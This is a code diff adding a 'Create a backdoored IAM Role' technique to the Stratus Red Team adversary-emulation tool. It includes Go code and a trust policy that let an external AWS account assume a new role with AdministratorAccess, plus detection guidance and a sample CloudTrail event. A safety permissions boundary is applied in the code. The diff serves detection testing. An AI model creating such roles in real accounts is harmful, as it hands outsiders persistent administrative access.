diff --git a/docs/attack-techniques/AWS/aws.persistence.iam-create-backdoor-role.md b/docs/attack-techniques/AWS/aws.persistence.iam-create-backdoor-role.md new file mode 100755 index 00000000..7422748f --- /dev/null +++ b/docs/attack-techniques/AWS/aws.persistence.iam-create-backdoor-role.md @@ -0,0 +1,79 @@ +--- +title: Create a backdoored IAM Role +--- + +# Create a backdoored IAM Role + + + + +Platform: AWS + +## MITRE ATT&CK Tactics + + +- Persistence + +## Description + + +Establishes persistence by creating a new backdoor role with a trust policy allowing it to be assumed from +an external, fictitious attack AWS account. + +Warm-up: None. + +Detonation: + +- Create a new IAM role with the following trust policy: + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Principal": { + "AWS": "arn:aws:iam::193672423079:root" + }, + "Action": "sts:AssumeRole" + } + ] +} +``` + +- Attach the 'AdministratorAccess' managed IAM policy to it. + +*Note: For safety reasons, the detonation code makes sure that this role has no real effective permissions, by attaching a permissions boundary denying all actions. This could also be achieved with an inline role policy, but using a permissions boundary allows us to use a single API call (CreateRole).* + +References: + +- https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate aws.persistence.iam-create-backdoor-role +``` +## Detection + + +- Through [IAM Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-iam-role), +which generates a finding when a role can be assumed from a new AWS account or publicly. + +- Identify a call to CreateRole closely followed by AttachRolePolicy with an administrator policy. + +- Identify a call to CreateRole that contains an assumeRolePolicyDocument in the requestParameters that allows access from an external AWS account. Sample event: + +``` +{ + "eventSource": "iam.amazonaws.com", + "eventName": "CreateRole", + "requestParameters": { + "roleName": "malicious-iam-role", + "assumeRolePolicyDocument": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Action\": \"sts:AssumeRole\"\n },\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::193672423079:root\"\n },\n \"Action\": \"sts:AssumeRole\"\n }\n ]\n}" + } +} +``` + + diff --git a/docs/attack-techniques/AWS/index.md b/docs/attack-techniques/AWS/index.md index 195e94ad..488cba53 100755 --- a/docs/attack-techniques/AWS/index.md +++ b/docs/attack-techniques/AWS/index.md @@ -90,6 +90,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT - [Create an administrative IAM User](./aws.persistence.iam-create-admin-user.md) +- [Create a backdoored IAM Role](./aws.persistence.iam-create-backdoor-role.md) + - [Create a Login Profile on an IAM User](./aws.persistence.iam-create-user-login-profile.md) - [Backdoor Lambda Function Through Resource-Based Policy](./aws.persistence.lambda-backdoor-function.md) diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md index 6a6bdfd5..a9a3e4e0 100755 --- a/docs/attack-techniques/list.md +++ b/docs/attack-techniques/list.md @@ -39,6 +39,7 @@ This page contains the list of all Stratus Attack Techniques. | [Backdoor an IAM Role](./AWS/aws.persistence.iam-backdoor-role.md) | [AWS](./AWS/index.md) | Persistence | | [Create an Access Key on an IAM User](./AWS/aws.persistence.iam-backdoor-user.md) | [AWS](./AWS/index.md) | Persistence, Privilege Escalation | | [Create an administrative IAM User](./AWS/aws.persistence.iam-create-admin-user.md) | [AWS](./AWS/index.md) | Persistence, Privilege Escalation | +| [Create a backdoored IAM Role](./AWS/aws.persistence.iam-create-backdoor-role.md) | [AWS](./AWS/index.md) | Persistence | | [Create a Login Profile on an IAM User](./AWS/aws.persistence.iam-create-user-login-profile.md) | [AWS](./AWS/index.md) | Persistence, Privilege Escalation | | [Backdoor Lambda Function Through Resource-Based Policy](./AWS/aws.persistence.lambda-backdoor-function.md) | [AWS](./AWS/index.md) | Persistence | | [Add a Malicious Lambda Extension](./AWS/aws.persistence.lambda-layer-extension.md) | [AWS](./AWS/index.md) | Persistence, Privilege Escalation | diff --git a/docs/index.yaml b/docs/index.yaml index 3ced0577..c5436e45 100644 --- a/docs/index.yaml +++ b/docs/index.yaml @@ -221,6 +221,13 @@ AWS: - Privilege Escalation platform: AWS isIdempotent: false + - id: aws.persistence.iam-create-backdoor-role + name: Create a backdoored IAM Role + isSlow: false + mitreAttackTactics: + - Persistence + platform: AWS + isIdempotent: false - id: aws.persistence.iam-create-user-login-profile name: Create a Login Profile on an IAM User isSlow: false diff --git a/v2/internal/attacktechniques/aws/persistence/iam-create-backdoor-role/main.go b/v2/internal/attacktechniques/aws/persistence/iam-create-backdoor-role/main.go new file mode 100644 index 00000000..9e5d63a9 --- /dev/null +++ b/v2/internal/attacktechniques/aws/persistence/iam-create-backdoor-role/main.go @@ -0,0 +1,127 @@ +package aws + +import ( + "context" + _ "embed" + "errors" + "github.com/aws/aws-sdk-go-v2/aws" + "github.com/aws/aws-sdk-go-v2/service/iam" + "github.com/datadog/stratus-red-team/v2/pkg/stratus" + "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" + "log" +) + +//go:embed malicious_trust_policy.json +var maliciousTrustPolicy string + +var roleName string = "stratus-red-team-malicious-iam-role" +var adminPolicyArn string = "arn:aws:iam::aws:policy/AdministratorAccess" + +func init() { + const codeBlock = "```" + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: "aws.persistence.iam-create-backdoor-role", + FriendlyName: "Create a backdoored IAM Role", + Description: ` +Establishes persistence by creating a new backdoor role with a trust policy allowing it to be assumed from +an external, fictitious attack AWS account. + +Warm-up: None. + +Detonation: + +- Create a new IAM role with the following trust policy: + +` + codeBlock + `json +` + maliciousTrustPolicy + ` +` + codeBlock + ` + +- Attach the 'AdministratorAccess' managed IAM policy to it. + +*Note: For safety reasons, the detonation code makes sure that this role has no real effective permissions, by attaching a permissions boundary denying all actions. This could also be achieved with an inline role policy, but using a permissions boundary allows us to use a single API call (CreateRole).* + +References: + +- https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me +`, + Detection: ` +- Through [IAM Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-iam-role), +which generates a finding when a role can be assumed from a new AWS account or publicly. + +- Identify a call to CreateRole closely followed by AttachRolePolicy with an administrator policy. + +- Identify a call to CreateRole that contains an assumeRolePolicyDocument in the requestParameters that allows access from an external AWS account. Sample event: + +` + codeBlock + ` +{ + "eventSource": "iam.amazonaws.com", + "eventName": "CreateRole", + "requestParameters": { + "roleName": "malicious-iam-role", + "assumeRolePolicyDocument": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Action\": \"sts:AssumeRole\"\n },\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::193672423079:root\"\n },\n \"Action\": \"sts:AssumeRole\"\n }\n ]\n}" + } +} +` + codeBlock + ` +`, + Platform: stratus.AWS, + IsIdempotent: false, // cannot create twice a role with the same name + MitreAttackTactics: []mitreattack.Tactic{mitreattack.Persistence}, + Detonate: detonate, + Revert: revert, + }) +} + +func detonate(_ map[string]string, providers stratus.CloudProviders) error { + iamClient := iam.NewFromConfig(providers.AWS().GetConnection()) + + log.Println("Creating a malicious IAM role") + input := &iam.CreateRoleInput{ + RoleName: &roleName, + AssumeRolePolicyDocument: &maliciousTrustPolicy, + PermissionsBoundary: aws.String("arn:aws:iam::aws:policy/AWSDenyAll"), + } + + _, err := iamClient.CreateRole(context.Background(), input) + if err != nil { + return errors.New("Unable to create IAM role: " + err.Error()) + } + + log.Println("Backdoor IAM role created: " + roleName) + + attachPolicyInput := &iam.AttachRolePolicyInput{ + RoleName: &roleName, + PolicyArn: &adminPolicyArn, + } + + _, err = iamClient.AttachRolePolicy(context.Background(), attachPolicyInput) + if err != nil { + log.Fatalf("Unable to attach AdministratorAccess policy to IAM role: %v", err) + } + + log.Println("AdministratorAccess policy attached successfully") + return nil +} + +func revert(_ map[string]string, providers stratus.CloudProviders) error { + iamClient := iam.NewFromConfig(providers.AWS().GetConnection()) + detachPolicyInput := &iam.DetachRolePolicyInput{ + RoleName: &roleName, + PolicyArn: &adminPolicyArn, + } + _, err := iamClient.DetachRolePolicy(context.Background(), detachPolicyInput) + if err != nil { + return errors.New("Unable to detach policy from IAM role: " + err.Error()) + } + log.Println("Policy detached from IAM role: " + roleName) + log.Println("Deleting IAM role " + roleName) + input := &iam.DeleteRoleInput{ + RoleName: &roleName, + } + _, err = iamClient.DeleteRole(context.Background(), input) + if err != nil { + return errors.New("Unable to delete IAM role: " + err.Error()) + } + + log.Println("IAM role deleted: " + roleName) + return nil +} diff --git a/v2/internal/attacktechniques/aws/persistence/iam-create-backdoor-role/malicious_trust_policy.json b/v2/internal/attacktechniques/aws/persistence/iam-create-backdoor-role/malicious_trust_policy.json new file mode 100644 index 00000000..f14f6b15 --- /dev/null +++ b/v2/internal/attacktechniques/aws/persistence/iam-create-backdoor-role/malicious_trust_policy.json @@ -0,0 +1,12 @@ +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Principal": { + "AWS": "arn:aws:iam::193672423079:root" + }, + "Action": "sts:AssumeRole" + } + ] +} \ No newline at end of file diff --git a/v2/internal/attacktechniques/main.go b/v2/internal/attacktechniques/main.go index 4458c982..b86ff222 100644 --- a/v2/internal/attacktechniques/main.go +++ b/v2/internal/attacktechniques/main.go @@ -31,6 +31,7 @@ import ( _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-backdoor-role" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-backdoor-user" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-create-admin-user" + _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-create-backdoor-role" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-create-user-login-profile" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/lambda-backdoor-function" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/lambda-layer-extension"